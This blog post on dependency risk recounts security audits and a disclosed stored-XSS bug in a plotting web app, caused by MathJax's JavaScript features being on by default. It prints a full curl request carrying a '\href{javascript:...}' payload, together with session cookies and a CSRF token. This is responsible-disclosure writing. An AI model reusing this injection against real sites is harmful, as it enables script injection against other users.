Import the World, Import the Risk - Exploiting via MathJax.js

Aug 16, 2016


This blog post could be just another security report. I realize it will be different but if you hear me out, I’d like to make a practical case for why you and your team should adopt the mantra “Import the World, Import the Risk.” The reminder being that the dependencies you import are not simply static helpers with no cost, but are living pieces of future infrastructure that must be cared for.


I continue to see similar questions when a developer is exploring the Go programming language. “Hey where is the (x) framework for Go” comes up often. The answer is usually something along the line of “Go developers generally use the standard library” or “We prefer small tools versus large frameworks” which is actually an accurate direction to orient the conversation. But when the next question is “Why?” the conversation usually dies. This is my attempt at helping to answer the “Why?”


What is your responsibility with dependencies? Dave Cheney puts it this way which I think is very insightful.


The reason I like this is that it articulates a relationship. Regardless of if the one doing the import agrees, there is a new social contract that must be met. And something that Go does particularly well and we can learn from is to found one’s development philosophy on the idea of tooling and toolkits.

The Gorilla web toolkit or the new micro service toolkit Go kit are also built on the idea of tooling (goimport, gofmt, etc). And with toolkits you are empowered to include only the dependancies that are necessary. though still expected to reason and think about what you import, why you are importing it, and how it will impact you and your team in the near and long term.

Audit Experiences

It started a little more than a year ago and began while I was performing a code audit. A Client had hired a consultancy to build a PHP application. While sniffing around the codebase I noticed that one of the dependancies had a known vulnerability. I was curious to see when it had been introduced in the application so I went trolling through the git log.

First I read a log message that stated the following.

commit  [redacted]
Author: [redacted]
Date:   Wed Feb 25 19:18:52 2015 -0800

    Add un-upgraded [redacted] to prevent issues

And the previous commit was this.

commit [redacted]
Author: [redacted]
Date:   Tue Feb 24 15:40:28 2015 -0800

    Install [redacted] + security updates

From reading through the log, it appeared that the application had been built using a dependency so as to support a particular feature. But when the ship date drew near and a security notice was released for the dependency, the consultancy punted on upgrading in order to meet the deadline.

And then, most recently, on another engagement I was able to dump source code from a nodejs application by exploiting a directory traversal attack in a npm package that a developer had misused. I then utilized this information leak to observe that AWS keys were hard coded into the application. Should I have wanted to pivot into my Client’s AWS instance it was mine for the taking.

This company asserted that ”…the package shouldn’t have allowed the developer to do this…” but when diving into the npm module I found the portion of code that was actually being utilized to be less than two hundred lines.

After several more audits of this nature where I continued to exploit different dependancies I realized that we as developers appear to be importing everything with no thought of the cost.

Recon Of

Which leads me to Many of you know that I’ve been hacking both and Plotly.js lately with success. But I knew there were more vulnerabilities to be found so last weekend I spent a few hours looking at the data inputs again.

I saw that allowed you to insert LaTex commands in order to create your plot.


I knew from my previous hacks that convertToSVG() was responsible for sanitizing a user’s input. But I realized that the regex was matching on the < and > symbols, sniffing for html tags. If the input didn’t match on this, the sanitization performed would not be the same. github

From here I viewed the source of the web application. I could see that they were using a library called MathJax.js to render the LaTex commands inside their SVG plot. And from the last hack I was aware that has several functions that repaint the SVG after Reactjs renders. The MathJax.js rendering was one of these and this was interesting. I knew that I wanted to target using a malicious javascript payload injected into the DOM via the MathJax LaTex input. And I was certain I would be able to do something didn’t expect.


I started to read the MathJax.js documentation. I did not have to read far.

Turns out that the library does not anticipate a user’s input will be malicious so the javascript features were enabled by default. If you want to disable javascript functionality in MathJax.js you must enable Safe Mode.

By assuming that the MathJax.js library had anticipated their default usecase they now were open to an XSS attack. And I went about injecting javascript into a plot. I could inject the javascript links on any Title or Point in the plot so theoretically I could fill a plot with interactive links full of malicious code. The social nature of’s product makes this all the more dangerous.

curl '' -X PUT -H 'Origin:' -H 'Accept-Encoding: gzip, deflate, sdch, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2822.0 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Referer:' -H 'Cookie: __insp_uid=464597034; _ga=GA1.2.94893556.1469315074; _ceg.s=ob9m76; _ceg.u=ob9m76; AWSELB=296F2D2B16D851992A5FF5CDA5674849B81CD605B18D343650EA0A95460A799A3E945A8528F16C2B6E4A0AE12CB2743192ADE74BC271F0DAD63ED5B0E9B39528A608A9397E; __insp_wid=27831418; __insp_nv=false; __insp_ref=aHR0cHM6Ly9wbG90Lmx5L29yZ2FuaXplL2hvbWU%3D;; __insp_targlpt=Plotly; __insp_norec_sess=true; __utmt=1; __utma=204621137.94893556.1469315074.1470612070.1470628663.31; __utmb=204621137.5.10.1470628663; __utmc=204621137; __utmz=204621137.1469419940.11.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); mp_ad6df61d0b9400400b240631576c24d4; __insp_slim=1470630493544; mp_mixpanel__c=182; plotly_sess_pr=nrokvhlbgt3audzyprc9m5o1rv0n43sn; plotly_csrf_pr=OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' -H 'Connection: keep-alive' -H 'X-CSRFToken: OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' --data-binary '{"world_readable":true,"figure":{"data":[{"error_x":{"visible":false},"error_y":{"visible":false},"fill":"none","mode":"markers","showlegend":true,"hoverinfo":"x+y+z+text","opacity":1,"name":"B","ysrc":"jfolkins4:6:7750ef","xsrc":"jfolkins4:6:32d0b2","text":"","uid":"ae7baf","visible":true,"index":0,"legendgroup":"","xaxis":"x","marker":{"symbol":"circle","opacity":1,"size":6,"color":"#1f77b4","line":{"color":"#444","width":0},"maxdisplayed":0},"type":"scatter","yaxis":"y","hoveron":"points"}],"layout":{"plot_bgcolor":"#fff","smith":false,"annotations":[{"align":"left","textangle":0,"borderpad":1,"arrowhead":0,"arrowsize":1,"opacity":1,"showarrow":true,"text":"","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"rgb(60, 60, 60)"},"ax":0,"bordercolor":"rgba(0, 0, 0, 0)","ay":-20,"x":3.400887573964497,"y":4.140255009107468,"arrowcolor":"rgb(60, 60, 60)","borderwidth":1,"yref":"y","xref":"x","ayref":"pixel","axref":"pixel","arrowwidth":1,"bgcolor":"rgba(0, 0, 0, 0)"},{"align":"left","textangle":0,"borderpad":1,"arrowhead":0,"arrowsize":1,"opacity":1,"showarrow":true,"text":"$\\href{javascript:alert(\"XSS\")}{RiskyPlotPoint}$","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"rgb(60, 60, 60)"},"ax":0,"bordercolor":"rgba(0, 0, 0, 0)","ay":-20,"x":4,"y":5,"arrowcolor":"rgb(60, 60, 60)","borderwidth":1,"yref":"y","xref":"x","ayref":"pixel","axref":"pixel","arrowwidth":1,"bgcolor":"rgba(0, 0, 0, 0)"}],"width":899,"height":504.812,"titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":17,"color":"#444"},"showlegend":false,"paper_bgcolor":"#fff","legend":{},"margin":{"l":80,"r":80,"t":100,"b":80,"pad":0,"autoexpand":true},"separators":".,","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autosize":true,"shapes":[],"hidesources":false,"dragmode":"zoom","title":"$\\href{javascript:alert(\"XSS\")}{Risky click of the day \\#2} $","xaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tickformat":"","anchor":"y","tickangle":"auto","ticks":"","side":"bottom","title":"","showticklabels":true,"type":"linear","zeroline":true,"range":[0.8143248175182481,4.185675182481752],"gridcolor":"rgb(238, 238, 238)"},"yaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tickformat":"","anchor":"x","tickangle":"auto","ticks":"","side":"left","title":"","showticklabels":true,"type":"linear","zeroline":true,"range":[0.7101449275362319,5.420289855072464],"gridcolor":"rgb(238, 238, 238)"},"hovermode":"closest"}}}' --compressed




Some of us see security as a obstacle to shipping products while others claim that the packages should not allow the developer to blow their own leg off, laying the blame on the library or worse, some poor OSS maintainer. But I think the root cause is the silent deception. By never accepting the responsibility of the dependancy in the first place, we can quite effectively lie to ourselves, alleviating our conscience and its concerns.

If you import the world, you will import the risk and my challenge to you and your team is to evaluate and then only include the code that you are dependent upon.


My recommendation was for the bounty to be donated to Autism Canada and I am happy to say that honored the request. Thanks!